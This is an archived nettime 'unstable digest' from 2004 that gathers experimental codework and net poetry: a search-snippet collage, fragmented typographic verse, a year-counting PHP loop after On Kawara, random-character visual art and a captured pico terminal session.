the=face=====salon=com=technology===in=search=of=my=own=brain=\n   hirsch==director=of=columbia=university's=brain=imaging=group==who=had=\n   graciously=\n   offered=to=help=me=in=my=pursuit==to=see=the=brain==from=the=inside==\n   as=it=====nova=online===secrets=of=the=mind===the=electric=brain=\n   the=nervous=system=to=invent=things=inside=the=head=all=my=life==\n   even=as=a=child==i=have=been=amazed=that=you=the=brain=is=the=\n   ultimate=organ======tablet=pc=buzz=com=-=features=\n   very=safe=about=having=a=rather=expensive=piece=of=technology=inside=\n   it==\n   at=one=point=not=long=after=receiving=the=brain=cell==i=dropped=my=\n   tc=====in=====wired=======this=is=your=brain=on=god=\n   exit==and=i'm=left=sitting=inside=the=utterly=the=chamber==and=\n   selected=\n   electromagnetic=fields=begin=gently=thrumming=my=brain's=temporal=\n   lobes======inside=learning=web=log==alcohol=and=the=brain=\n   log==how=do=we=learn=the=things=we=value=most==the=thought=\n   of=my=brain=wasting=away=every=time=i=have=a=guiness=is=not=a=happy=\n   one======the=early=bird=ate=my=brain==dining=out=with=my=folks=in=\n   into=the=men's=sauna=and=ask=if=there's=a=sol=finkel=inside==would=\n   you=be=a=nice=\n   young=man=and=do=that=for=me=\"=at=======my=parents=and=i=drive=to=\n   nearby=====the=oracular=tree=---=a=transformational=ezine=\n   physicist=has=placed=the=spin=koan=inside=it==with=a=hammer=the=\n   koan=\n   squarely==releasing=fatal=amounts=of=certainty==causing=my=brain=\n   tissue=to=====the=super=nipple=\n   my=chicken-craving=vietnamese=poe's=the=raven=backwards==in=\n   latin==inside=the=oval=joe=lieberman=--=this=is=your=brain=on=\n   pepto-bismol=====my=brain=is=made=of=things=made=of=gold==\n   experiments=in=not=====\n   brain=is=made=of=things=made=of=gold==and=you=have=to=come=down=\n   for=my=b-day==reconstitution=\n   reimagined=erasmus=is=a=livejournal=wrapped=inside=a=blogger=====\n   then=you=eat=the=outside=and=throw=away=the=inside==before=the=\n   lightning;=my=lightning=\n   comes=before=the=clouds;=my=rain=dries=back=to=the=brain=food=home=\n   page======the=write=brain=-=issue===\n   free!=madness!=-=it's=screaming=tirades=rage=inside=\n   my=brain!=madness!=-it=breaks=my=thoughts==it=exposes=my=pain!=\n   except=that=the=sadness=buried=deep=inside=my=soul=would=but==\n   some=feedback==directly=\n   from=my===-year-old=com==opinions=expressed=in=the=write=brain=are=\n   solely=====sciforums=com=-=life=inside=a=computer=\n   it's=possible=to=matrix=the=brain==namely=create=little=blackdots=\n   that=sometimes=\n   arise=in=my=sight==they=effect=of=dopplers=must=occur=inside=the=\n   neural=====sciforums=com=-=life=inside=a=computer=\n   it's=possible=to=matrix=the=brain==namely=create=little=blackdots=\n   that=sometimes=\n   arise=in=my=sight==they=effect=of=dopplers=must=occur=inside=the=\n   neural=====read=lyrics=-=justin=timberlake=-=still=on=my=brain=\n   now=love=is=a=game=that=we=both=like=to=play=but=will=i=win=or=lose=if=\n   i=go=or=if=i=stay=even=though=i=try=to=hide=my=broken=heart=inside=\n   girl=you=====the=amazing=kreskin=-=review=by=neil=slade=\n   instantly=found=it=inside=the=large=deep=innermost=regions=of=a=\n   persons=\n   brain=stores=my=mother=in=particular=was=skeptical==although=she=\n   really=====\"a=kick=in=the=head==a=brain=tumor=journal\"=by=michael=\n   to=improvise=a=life=of=recklessness=inside=you=pieces=of=brain=\n   tissue=are=\n   present=another=description=from=my=neurosurgeon=says=\"it=consists=\n   of=multiple=====kool=g==rap=money=on=my=brain=lyrics=\n   game=money's=on=my=motherfuckin=brain=son=[grimm=me=hold=the=flame=\n   low==hotel=\n   suites=inside=the=flamingo=up=fakin=no=jacks==cause=all=my=\n   crackshacks=are=====brain=tumor=survivor=stories=\n   glioma==the=tumor=affected=my=balance;=it=also=caused=severe=\n   headaches=and=vomitting==the=mounting=pressure=inside=my=head=calling=\n   for=the=====[biophp-dev]=my=brain=hurts==\n   next=message==[biophp-dev]=my=brain=hurts==should=be=easy=to=\n   add======the=seq_factory=\n   should=never=have=to=know=what's=inside=another===object==with===the=\n   ====[biophp-dev]=my=brain=hurts==\n   next=message==[biophp-dev]=my=brain=hurts=the=seq_factory=\n   should=never=have=to=know=\n   what's=inside=another=object==with=the=exception=of=the=one=object=\n   that=it's=====proliferations=at=tank=green=dot=com=\n   myself=inside=out==my=brain=is=going=so=fast==over=and=over=\n   any=and=everything=i=have=to=do=in=the=next=month=and=a=half======\n   dusting=my=brain==july======archives=\n   cobwebs=of=said=brain==sneaking=into=of=saturday=night=dinner=\n   dates==\n   my=oldest=sister=an=oversized=gift=bag=with=matching=tissue=paper=\n   inside======journal=of=mdxi========\n   here's=the=front=and=back=of=a=scrap=of=paper=found=\n   inside=the=book========pm==perl's=infected=my=brain=[===comments===\n   #======]=====rkl=lyrics=-=scab=on=my=brain=-=lyrics=time=\n   inside==nightmares=of=doomsday==now=i've=got=these=headaches==the=\n   itch=that's=on=my=brain=just=gets=more=insane=each=day==pressures=\n   problems======amazon=com==books==inside=the=brain===an=enthralling=\n   account=of=====\n   snippet=====mind=games=or=brain=play==-=www=ezboard=com=\n   ==topic=its=much=better=to=use=your=liver=than=your=brain==i=dont=\n   even=know=where=my=brain=\n   is==i=use=the=inside=of=my=skull=to=keep=snacks==and=my=keys=and=\n   stuff======tough=protection=for=your=laptop==the=brain=cell=by==\n   the=perfect=\"insert\"=for=my=briefcase==too=while=each=size=of=the=\n   brain=cell=\n   may=be=used=on=carrying=case==they=were=all=designed=to=fit=inside=\n   of=other=====york=and=district=mind=-=minds=`i'=-=thatcher=ate=my=\n   only=emotion=i=feel====lack=of=fear=is=worse==there=is=nothing=else=\n   inside=\n   that=is=yet=there=was=a=part=of=my=brain=that=carried=on=in=its=\n   a=newspaper=clipping=of=an=ad=for=career=builder==and=the=guy=in=the=\n   ad=\n   is=i=thought=it=was=me==until=i=realized=that=i've=never=had=my=\n   picture=taken=====inside=the=human=body=-=the=respiratory=system=-=\n   grades==-======\n   inside=the=human=body=-=the=respiratory=system==my=brain=is=a=very=\n   important=part=\n   of=my=breathing==my=lungs=take=orders=from=my=brain==telling=me=to=\n   breathe!=====wired=======this=is=your=brain=on=god=\n   techies=exit==and=i'm=left=sitting=inside=the=utterly=the=chamber==\n   and=selected=\n   electromagnetic=fields=begin=gently=thrumming=my=brain's=temporal=\n   lobes======inside=uva=\n   visit=to=an=elementary=school=as=part=of=brain=awareness=week==the=\n   kids=\n   started=a=guessing=game=about=my=age;=they=decided=it=must=be=between=\n   brain=album=-=cricklewood=green=group=-=ten=years=after=\n   inside=of=me======order=of=pink=roses==the=girl=with=no=brain=\n   momentary=panic=i=had=a=flash=scene=of=my=head=being=opened=revealing=\n   that=there=was=no=brain=inside--it=had=all=been=dissolved=by=the=\n   pineal=juice=====amazon=com==books==inside=the=brain=\n   snippet=====amazon=com==editorial=reviews==inside=the=brain==\n   revolutionary=====\n   eviews=no=snippet=====brain=malfunction=-=help==please!=\n   ainmalfunction=was=going=to=collapse=on=the=floor==it=was=as=if=\n   something=was=pulling=me=down=inside==it=\n   was=as=if=all=that=was=left=was=only=half=of=my=brain=on=the=left=side=\n   ====pick=my=brain==not=my=nose==\n   wrong==i'm=just=as=giggly=inside=seeing=my========i=was=flipping=\n   through=\n   the=ol'=brain=damage=box=i'm=not=really=current=on=my=biblical=\n   tomes==being=a=====\n\n\n   ___\n\n\nFrom: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: _ippen-bud_\nDate: Fri, 20 Feb 2004 11:12:27 +0000\n\n_ippen-bud_\n\n\n][/\\][=(tha\ntis(((One/A\nll>.][<||||\nno-birth<).\n.\"\")).((\"\".\n..(><n-_-og\ngoing\\\\+//r\netURning]-\"\n\"Momen[/t/.\nary/a)ris,i\nng+]-perish\n,ing[//)(\\\n\\wHIChno-Se\nlf>[[[[ech-\no[[[[Re:a]s\non-bREAth,e\n,s]//-E(e..\n.)[)(]noSub\njectNOObjec\nt\\/dA]nCe))\ns(and-[spor\nt)s-[[thRU.\n]//\\r\\d]H><\nreALM->\"\"((\n->>thE\\Name\n/TH)e))naME\n<<)...Na[MU\ntrans[FORM,\ning\\not/GRA\nSP-ing<||||\n...sur||Pas\ns-ing)con(C\nEIV]a(i-)bi\nL,ity.<|.|>\nbIRTHdEATH-\n\n\n\nWilliam\n\n_________________________________________________________________\nF\u013a alle de nye og sjove ikoner med MSN Messenger http://messenger.msn.dk\n\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: \"WRYTING-L : Writing and Theory across Disciplines\" <WRYTING-L {AT} listserv.utoronto.ca>, _arc.hive_ <_arc.hive_ {AT} lm.va.com.au>, syndicate <syndicate {AT} anart.no>\nSubject: Re: ON K\nDate: Sat, 21 Feb 2004 06:20:12 +0100\n\n19/02/2004 17:21:27, MWP <mpalmer {AT} JPS.NET> wrote:\n\n>http://www.akiraikedagallery.com/OnKawaraCD.htm\n\n\nfor ($Past = 988,628 BC; $Past >= 983,821 BC; $Past--) {\n\techo $Past;\n}\n\nfor ($Future =13,293 AD;$Future <= 19,155 AD; $Future++) {\n\techo $Future;\t\n}\n\n// ca 11,000 years, 60 minutes each, 24 Audio CDs in a wooden box\n// = ca 8 sec pr year, all buried in the box\n\n// mail version, 7 bytes * 11,000 = 75KB\n// a partition of the years, one 3K mail in a woed inbox\n\n\n\nPast\n\n...... 987935 987934 987933 987932 987931 987930 987929 987928 987927 987926 \n987925 987924 987923 987922 987921 987920 987919 987918 987917 987916 987915 \n987914 987913 987912 987911 987910 987909 987908 987907 987906 987905 987904 \n987903 987902 987901 987900 987899 987898 987897 987896 987895 987894 987893 \n987892 987891 987890 987889 987888 987887 987886 987885 987884 987883 987882 \n987881 987880 987879 987878 987877 987876 987875 987874 987873 987872 987871 \n987870 987869 987868 987867 987866 987865 987864 987863 987862 987861 987860 \n987859 987858 987857 987856 987855 987854 987853 987852 987851 987850 987849 \n987848 987847 987846 987845 987844 987843 987842 987841 987840 987839 987838 \n987837 987836 987835 987834 987833 987832 987831 987830 987829 987828 987827 \n987826 987825 987824 987823 987822 987821 987820 987819 987818 987817 987816 \n987815 987814 987813 987812 987811 987810 987809 987808 987807 987806 987805 \n987804 987803 987802 ......\n\n\n\n\nFuture\n\n.....\n15574\n15575\n15576\n15577\n15578\n15579\n15580\n15581\n15582\n15583\n15584\n15585\n15586\n15587\n15588\n15589\n15590\n15591\n15592\n15593\n15594\n15595\n15596\n15597\n15598\n15599\n15600\n15601\n15602\n15603\n15604\n15605\n15606\n15607\n15608\n15609\n15610\n15611\n15612\n15613\n15614\n15615\n15616\n15617\n15618\n15619\n15620\n15621\n15622\n15623\n15624\n15625\n15626\n15627\n15628\n15629\n15630\n.....\n\n\n\n\n\n// all http://noemata.net/hexture/onkawara-years.php\n// hexture isbn 82-92428-18-6\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n.....\n\n17349 - hey\n\n\n\n\n\n\n\nDate: Thu, 1 Jan 2004 17:08:28 +0100\nFrom: devices <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: (pudak, tabbed hadingus) (last one, line limit)\n\n                  x\n                  H\n                  F\n                  4\n                  T\n                  g\n                  v       A\n                  0zKNqk/jl\n                Tr0PAJwpkErZZY8\n                   4\n                   4\n        jpHcveM/2kfGnht4\n        w\n        e\n        V\n        NEM\n        P a\n          2\n          d      JeT8ua/KtV0\n PG+QV4PoO4oY5    b\n          rnOG    Udljgslj\n                          n\n                          R\n                          p\n                          w\n                          U\n                v2KgXHfxl\n                8ASxaoQotQ\n                        UJ\n                        H\n                        6\n                        0\n                        P159Yv3\n                        Hb        p\n                        p9        R\n                                  YDP8cVU\n                                  m     f\n                                        OQwbns\n                                        e        h\n                                         R\n                                         0\n                                         F\n                                         3\n                                        pR       8\n                                        Np1z9s+awu\n                                        u0      wNa7Ip\n                                        9x\n                                         4        N      2\n                                         MOoiot8Ptvte0ajd9\n                                          swZcM9ALfA J\n                                                        7XNv\n                                                           6xk TO5CjP5\n                                                         c      ec\n                                                           aJttmAL\n                                                          ewRL\n                                                          uLpQRmVlB7C\n                                                          c     tY w pJ3o\n                                                                7hz92\n                                                                6P7\n                                                                2\n                                                                4\n                                                                j\n                                                           ZGYt\n                                                         Mohel\n                                                         y\n                                                         5\n                                                         0\n                                                   5     D\n                                                  0A71zYcj       /\n                                                  n       S      T\n                                                  S5NZtmLlP4Wfe\n                                                  z\n                                                  5\n                                           +XvhF8Cp       e\n                                           K      PEWrGtds\n                                           u\n                                           H\n                                           6\n                                 eklcdoVjPT/tP1PNH\n                                  mp xG8ky3H     m       P\n                        ynL8 FNFdee     L  z gvM+X81cwgew\n                                  O              xXeY   b\n                                                        c\n                                                   8    S\n                                                   tc/CFg\n                                                   a    5\n                                                   q\n                                                   e\n                                                   h\n                                                   h\n                                                   Scz1ZA8vM\n                                                           A\n                                                           +\n                                                           M\n                                                           w\n                                                           v\n                                                           h\n                                                  RSgnk34Dg\n                                                  k        p\n                                                  o\n                                                  n\n                                                  i\n                J3G0rqHLhBjA29            tRhdhDv\n                2        +                        t     DFd\n                C  ksTnf        53                dvnApK\n        V7rPXP2h3 6P     W      h                 oLG\n                  t      F+s3d2kdoWSLKjAJ7dQMevWqWH9ot\n                  +\n                  E\n                  /\n                  D\n                  8\n                 Ymi\n           o8S508T/DHW9\n           RTaroGgwbrMW\n                  0\n                  4\n                  s\nG                 I\n+H                X\nS+                e\nKt                Q\n5aXQtJ7W16H61Qe\nX                 O\nz                 d\nKVXmtJ6A6nPFeZ          dy\nMWp/4K5Yk5rMONbek+cG/sf4 vLg\nv\nCwwX\ncKTi\nHxf1                       P\nW 1                        R T\nP                u2389F/Oeb8+\ni                d              V\nW  FVt     gyqzvEz              6\na  axiSZ/q1Y9   aGSDRGdT\nKvGW7Tqkk               A6F\n6Qp6uD9KQ         ZfE/xd          LPqlEjkmIQb2B9\nv                 6      tbbzwSgdf      FJ7+4qZU6l7GqeVz\nc                 +\n                T\n                q\n                N\n                8\n                N\n                g\n                T\n                yO\n                 n\n                 4\n                 S\n                 oewB2VxMas\n                 2        2\n                          T\n                          3\n                          f\n          lpXhojrnsM1+X\n          t\nx3ieSueW4 53ktD6Bk8H      fdY\n9 v9    c  L hR   d      jwhf\nI I1    YJJ7ffVn        JR6dU5W\nF +t    F        G z2jeJ/y      f\nwAyk    g9u2aPtC p/dG\nw                  s\nH\ng\nX\nh\nM\nu\nO\nK\nM\nLLYWN84wHEtndH5mPu35b1TveOl\n           5\n           7\n           H\n           w\n           2\n           p\n           4\n           a\n           e\n           l\n           +HcP\n          x\n         Iy\n         o\n         l\nVz04GU6  YQ\nVSmnV/aqwnbsdgf\n  p\n  J\n  r\n  a\n  c\n  n\n  6\n  l\n  k\n  J\n  +\n  gX+\n        k\n        u\n        Ht1K7\n         1 Trpow1\n                4\n                4\n                Y\n                P\n                p\n                N\n                q\n                O\n                K\n                9\n w              C\n /quM0z4g6pLZ\nAVxlsMw55\nO       P\n3\nN\n4\nr\nq\ng\nP\nY\na\n+\nk                         jtYJjmItf2\nx                 UMrs8J5auZ6v\nP                         2igMuVtH0H+0V4E07x\n3e5tXRGj7ABlZZcXkuLtH+B8jBKXa73Zl+Z8Bjy\n                RTw\n          lag25H\n                  x\n                  6\n                  8\n                  q              CE3h\n                  N       Z      P      fVnuky\n                  qLD8Ia/NeTsb8864GoYF\n                          i     f\n                          8\n                          b\n                          F\n                          j\n                          g\n                          L\n                          5\n                          K\n                          ovEsctkD9hm\n                          Z             U\n                                8\n                                2qh\n                                  vxd                     r\n                                  N1xgkdupb6 8DqeZkixdT3NCJ6\n                                  YU                      4\n                                  QY               C  o5Md\n                                                   aXae\n                                                         9\n                                                         o\n                                                         h\n                                                        o\n                                                   y zgh\n                                                   N54\n                                                   R p\n                                                         oT\n                                                          P\n                                                          b\n                                                        l 8\n                                                        Xwc\n                                         Y              n\n                                         PO+h/Xb        ew\n                                meOGQ55tLl 5pd2VBdrHDp\n                                W3H     /\n                                 TH     h\n                                 uq      +7yteYL\n                                 zwf+0j u\n                           q +x  B      1\n                           j     u      qm\n                           9   x3avhvTj\n                           g0HxhpP\n                                   H d\n                                 AQ\n                                 L\n                                 V\n                                 c       leiQrsYTf\n                                 i       e        h\n                                 2t4lE    d     Gf\n                                        dN        S\n                                          a\n                                          V\n                                          x\n                                          VlHxH\n                                          B     O2k86MN\n                                         MT\n                                         Z\n                                         5\n                                         Q\n                                         9k2t69xg       S\n                                                  I     G\n                                                 sMIIHO9\n                                                 Sl5H\n                                                  Lsz\n                                                   2\n                                                   o\n                                                   R\n                                                   a\n                                                   2\n                                                   l\n                                         14xUXfVEd\n                                          5fmnuS\n                                          H      K\n                                          x      d\n                                          E\n                                          V\n                                          V\n                                           6\n                                        EqY\n                                          T\n                                          P\n                                          6\n                                          7\n                                          d\n                                          n\n                                          G\n                                          U\n                                          jDtOi\n                                                q\n                        R3ZXZyRf        l        M\n                        b       52AhsAbsjk49e3NS\n                        k                  1C\n                        W\n                        7\n                        q\n                        p\n                jD9UOMoI PznN\n                  7             X\n                  Z\n                  z\n                  l\n                  Y        T\n                  TPvvKiNddK\n                           X\n                           c\n                           D\n                           2\n                           A\n                           QEfmkUZKin\n                                 3\n                                 FNB\n                                 + z\n                                   W\n                                   O\n                           RN  QhQa\n                           SrxPwJSX\n                                   4\n                                   4\n                                   c\n                                   4\n                  VDpEdjttO        T\n                  u       VJPLb+Tl\n                  j     TmELTmyu\n                  J     O         Rdx\n                  j      O1S6m/Vl\n                  t              k2Z\n           DuwcdhVqPJ\n           s      /mZ\n           q\n           u\n           x\n           R\n           w\n           7\n          Tp\n         zKuhlB4\n         t      w G\n         d      V f\n         Np     2r6\n          A\n          2\n          N\n          0\n          M\n         0+\n          W5WKzo6\n                 c\n                 y\n                 o\n                 M\n                 6\n                 S\n                Zv\n                2\n                h\n                s\n                q  chG\n                s  v M\n                R  p A\n                F  J n\n                R  K k\n                O  Z r\n           CfWbaqP\n           kI  3\n           so  bHOd\n                   c\n                   o\n                   E\n          7        l\n         AvSupHICS\n        Zk5xdA WQeCWORGLYztIVTK\n        ygn6SRMNfUu4M0pT0Vb7qLhgT2U\n        +linY8Y56Co4bYTS bYyD   k\n                 u       K      a\n                 knDDpWT qMHc   k\n                 u       b      T\n                 MfV5nOOfY      OPsu     bZZ1K940\n                 5                 ODq3vykvWEm2kR\n                                         Z\n                                         l\n                                         Q\n                                         v\n                                         HVSGF9\n                                          l\n                                          c       m\n                                          bVVSCJy\n                                         pHt1075C\n                                                  O90aTVqntRErohV\n                                                  J     y         P\n                                                 kWtZnZlcvn\n                                                   k\n                                                   X\n                                                   9\n                                                   4\n                                                   6p3g\n                                                  8ZlYpQu\n                                                          N\n                                                          D\n                                                          d\n                                                          6\n                                                  N       J\n                                                   G BB0NxY1YXH0\n                                                   0/xx4Qg1dznFVac1zTs\n                                                   N     Z7       f8UrrIu\n                                                   f      aVWRi\n                                                   k      P\n                                                   D\n                                                   BrCBdPayb\n                                        3OQNu NjKbbd   p\n                                        h          +h8c6\n                                        f\n                                        n                         vf2P\n                                        JLo50rP+QRGwVZpqBnwDi/I0jp\n                                                                 U\n                                                        V0Vm6ktD/94cfzWeE\n                                                                         o\n                                                                         n\n                                                                         W\n                                                                         l\n                                                                        BSK0f\n                                                                          j\n                                                                        F\n                                                                        H\n                                                                        1\n                                                                        zLDimV\n\n\n\nFrom: Rick Bradley <rick {AT} rickbradley.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Re:  code and its double\nDate: Wed, 11 Feb 2004 18:45:21 -0500\n\n\n c o d e a s a r t - c o d e w o r k , a r t w o r k - g o i n g o n , \n r u p t u r e s a n d v i o l e n c e , d i s p e r s a l o f \n m e a n i n g , l o g o s a s c i r c u m s t a n c e s i n w h i c h h e \n h a d o n c e c o d e - a u t o n o m y , a u t o m a t a , t e x t , \n l o n g e r t e x t - t e x t i s t e x t ( n o t b o m b s a n d \n i n t e l l i g e n c e - t h e a n t i c i p a t i o n . b l o o d \n a g a i n w a s b l o o d . b l o o d . P o i n t i n g t o t h e f o e \n p a s s p o r t s t i l l a f o r t n i g h t p a s s a g e - c o d e \n d e r i v e s f r o m i t s d o u b l i n g . b o m b - t e r r o r o f \n c o d e , t e x t , w h i l e c o d e i s w e i g h t - f r e e h a v e \n a l l t h o s e m o n s t r u o u s t h i n g s i s n o \n l o n g e r t e x t - t e x t i s t e x t T h o u g h t h e y \n s e x : [ 8 ] T h o u g h t h e y o r a n t i - g r a v i t a t i n g - o f \n t h e v o i d m a t t e r e d , t e x t e d , c o d e d , y o u ' d\n\n                 .\n\n    surgingtohishead.discovery.\ninformation,theintelligenceasthe\n    corridor.sex:[8]Thoughtheydispersalof\nmeaning,logosasmattered,texted,coded,\n    you'dcameandendedwitheachgoingon,\nrupturesandviolence,other.sex:[8]Though\n    theythelocus.textastheater,asbomb-\nterrorofcode,eyebrowsasSirMichael\n    delicatelybloodagainwastingling\nadvancingsinceeverythingiscodecodework\n    longertext-textistext(notfireand\nelectricalchargeinthescripted(not\n    text).power-infromitsrelease.code\nastheatertext-virii,intelligence,like\n    thetheateristheaterandthereisno\ncontext,it'sblown\n\n                 .\n                  \n k n o w i t , a n d a r e s m e a r e d w i t h i t . t h e s e n s e \n  t h a t t e x t i s l o g o s i t t h e r a p e . b l o o d . \n   P o i n t i n g t o f o r m e r f o e h a d d o n e . s e x : [ 8 ] \n    r e a l i t y i t w a s t h e r e a l l t h e t i m e , s e x : [ 8\n    ] \n     a n t i c i p a t i o n . b l o o d t e x t f r o m t e x t - \n      t e x t i s n o s u r g i n g t o h i s h e a d . d i s c o v e r\n      y . \n       p h y s i c a l i t y , m a t t e r , s e n s e , p l u n d e r i\n       n g o f \n        c o n t e x t s - a r t\n\nRick\n-- \n http://www.rickbradley.com    MUPRN: 714\n                       |  wouldn't have all of\n   random email haiku  |  its benefits if it were\n                       |  regulated more.\n\n\n\n\nnettime unstable digest vol 79\nSat Feb 21 23:51:40 2004\n\n\nSubject: iteration\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Un monde =?ISO-8859-1?Q?=E0?= 1 dimension : la ligne de commande.\n    From: gustin pascale <gustin.pascale {AT} free.fr>\n    To: \"_arc.hive_\" <_arc.hive_ {AT} lm.va.com.au>,\n\nSubject: the poorest tiny MAPS [+MAN] [+meat]\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: inside my brain\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _ippen-bud_\n    From: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: ON K\n    From: noemata <noemata {AT} kunst.no>\n    To: \"WRYTING-L : Writing and Theory across Disciplines\" <WRYTING-L {AT} listserv.utoronto.ca>, _arc.hive_ <_arc.hive_ {AT} lm.va.com.au>, syndicate <syndicate {AT} anart.no>\n\nSubject: (pudak, tabbed hadingus) (last one, line limit)\n    From: devices <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re:  code and its double\n    From: Rick Bradley <rick {AT} rickbradley.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 22 Feb 2004 18:07:37 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200402230322.i1N3MXw12707 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0402/msg00065.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 79"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00085",
                "content": "\nFrom: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Lit.\nDate: Wed, 17 Mar 2004 10:48:16 +0000\n\n\n\"\"(L\nit.:\ner\\a\nture\nis d\nEATH\ntrAI\nN-in\ng|||\n|not\nHing\no/tH\ner<t\nhan)\n)tRA\nIN,i\nngUS\n/for\n/dEA\nth..\n.(((\n\n\nwilliam\nvirtualitch\nhttp://www.geocities.com/worldezine\n\n_________________________________________________________________\nF\u00e5 alle de nye og sjove ikoner med MSN Messenger http://messenger.msn.dk\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: lazy packet writing\nDate: Fri, 26 Dec 2003 23:14:17 -0500 (EST)\n\n\n\n\nlazy packet writing\n\n\n 1% ppiiccoo  zzzz\n\nESC[1;1HESC[JESC[7m UW PICO(tm) 4.6 New Buffer\nESC[mESC[24;1HESC[KESC[25;1HESC[KESC[24;1HESC[7m^ESC[mESC[7mGESC[m Get\nHelp ESC[\n7m^ESC[mESC[7mOESC[m\nWriteOut ESC[7m^ESC[mESC[7mRESC[m Read File ESC[7m^ESC[mESC[7mYESC[m Prev\nPg\nESC[7m^ESC[mESC[7mKESC[m Cut Text ESC[7m^ESC[mESC[7mCESC[m Cur Pos\nESC[KESC[25;1HESC[7m^ESC[mESC[7mXESC[m Exit ESC[7m^ESC[mESC[7mJESC[m\nJustify ESC\n[7m^ESC[mESC[7mWESC[m\nWhere is ESC[7m^ESC[mESC[7mVESC[m Next Pg ESC[7m^ESC[mESC[7mUESC[m UnCut\n:TextESC[7m^ESC[mESC[7mTESC[m To Spell\nESC[KESC[3;1HESC[23;1HESC[KESC[23;35HESC[7\nm[ New file\n]ESC[mESC[1;35HESC[7m File:\nzzESC[mESC[3;1HwESC[1;70HESC[7mModifiedESC[mESC[3;1Hwrriittee^MESC[4;1Hiitt\nESC[4;4Hwwrriitteess^MESC[5;1H^OESC[23;1HESC[KESC[7mFile Name to write :\nESC[23;22HESC[mESC[7mzzESC[mESC[24;15HESC[7mTESC[m To Files\nESC[KESC[25;2HESC[7m\nCESC[m Cancel\nESC[7mTESC[mESC[7mAESC[mESC[7mBESC[m Complete\nESC[KESC[7mESC[23;24H^MESC[mESC[23;1HESC[KESC[23;34HESC[7m[ Writing...\n]ESC[mESC[23;1HESC[KESC[23;32HESC[7m[ Wrote 3 lines ]ESC[mESC[1;70HESC[7m\n\nESC[mESC[24;1HESC[KESC[25;1HESC[KESC[24;1HESC[7m^ESC[mESC[7mGESC[m Get\nHelp ESC[\n7m^ESC[mESC[7mOESC[m\n\nWriteOut ESC[7m^ESC[mESC[7mRESC[m Read File ESC[7m^ESC[mESC[7mYESC[m Prev\nPg\nESC[7m^ESC[mESC[7mKESC[m Cut Text ESC[7m^ESC[mESC[7mCESC[m Cur Pos\nESC[KESC[25;1HESC[7m^ESC[mESC[7mXESC[m Exit ESC[7m^ESC[mESC[7mJESC[m\nJustify ESC\n[7m^ESC[mESC[7mWESC[m\nWhere is ESC[7m^ESC[mESC[7mVESC[m Next Pg ESC[7m^ESC[mESC[7mUESC[m UnCut\nTextESC[7m^ESC[mESC[7mTESC[m To Spell\nESC[KESC[5;1H^XESC[24;1HESC[KESC[25;1HESC[\nKk2% eexxiitt\n\nwrites\nwrite\n\nyes yes yes\n\nwrites\nwrite\n\n\n_\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _g[u]ilt skin + de[a]finition_dec[oy]ay\nDate: Tue, 16 Mar 2004 23:32:19 +1100\n\n_______________________________________________________\n_g[u]ilt skin + de[a]finition_dec[oy]ay   11:19pm 16/03/2004\n_______________________________________________________\n\n\n[4 d.]\n\n#t.Racking memories + cau[gh]terizing.w[ild.fire]hilst.moving\n#sto.Rage_[c]hiding while goats.blink+stamp.in.(ley)lined.troops\n#[s]huff[l]ing.insectile.heat+bite.[m|b]arking.on.a.g.Host.luved.fig[l]ure\n\n\n\n_click: a.lone. vs .l.One.ly\n_shutter: [clay|silicon].chips + wool.swathes.earth.r[d]ec[ayed]l[m]aimed\n_retrieve: b.Link.reminders every.wh.er[r]e\n\n\n\n\n\n..............con.nec[k.with.lush.skin.defini]tion_decay || \nG.en[gineered]e_decoy\n\n\n...................a[e]po[.xy.]calyptic || eu.cal[lous]yptic\n\n\n.............hoof.harmonics+swarmline.fl[cr]o[wd]cking.in.my.hea[rt]d\n\n\n.....................silence.boundaried + \ng[u]ilt.with.s[k]i[nned]lken.memory.flecks\n\n\n..................p.aw[e]+po[re]or.lust.drin.kage[s]\n\n\n..............................[i.sense.+.dread.u.via.forced.a(ffective)mnesia]\n\n\n..................tenderness.welts+cognitive.cloudings\n\n\n\n\n\n\n\n_shift: ur.stories.in.my.emotive.gut\n_stare: in_de[ar]er.N_tens[e]ity\n_touch: 